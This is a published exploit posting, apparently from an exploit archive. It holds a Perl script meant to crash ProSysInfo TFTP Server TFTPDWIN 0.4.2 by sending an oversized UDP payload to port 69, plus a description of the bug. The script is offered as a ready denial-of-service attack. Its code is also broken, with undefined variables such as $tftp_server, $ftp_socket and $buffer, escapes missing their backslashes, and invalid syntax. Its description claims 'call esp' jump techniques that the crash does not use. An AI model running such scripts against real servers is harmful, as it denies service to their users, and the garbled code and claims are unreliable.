Authored by Fernando Mengali

ProSysInfo TFTP Server TFTPDWIN version 0.4.2 remote denial of service exploit.

#!/usr/bin/perl


use IO::Socket::INET;

# Exploit Title: ProSysInfo TFTP Server TFTPDWIN 0.4.2 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 20 january 2024
# Vendor Homepage: N/A
# Download to demo: https://drive.google.com/file/d/1MLqBkCyu0dA-cNgYxCAO8xbsVcof060Z/view?usp=sharing
# Notification vendor: No reported
# Tested Version: ProSysInfo TFTP Server TFTPDWIN 0.4.2
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://www.youtube.com/watch?v=BuONti1AWoU

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The TFTP server does not correctly handle the amount of data or bytes sent..
#When authenticating to the TFTP server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}

system("$cmd");

intro();
main();

print "[+] Exploiting... n";

my $payload = "x41"x520;

my $socket = IO::Socket::INET->new(
PeerAddr => $tftp_server,
PeerPort => 69,
Proto => 'udp'
) die "Não foi possível conectar ao servidor TFTP: $!n" unless $socket;

print $ftp_socket $buffer;

close($socket);

print "[+] Done - Exploited success!!!!!nn";

sub intro {
print "######################################################################n";
print "# #n";
print "# ProSysInfo TFTP Server TFTPDWIN 0.4.2 - Denied of Service #n";
print "# #n";
print "# Coded by Fernando Mengali #n";
print "# #n";
print "# e-mail: [email protected] #n";
print "# #n";
print "######################################################################n";
}

sub main {

our ($ip, $port) = @ARGV;

unless (defined($ip) && defined($port)) {

print " nUsage: $0 <ip> <port> n";
exit(-1);

}
}

#3. Solution/ How to fix:

# This version product is deprecated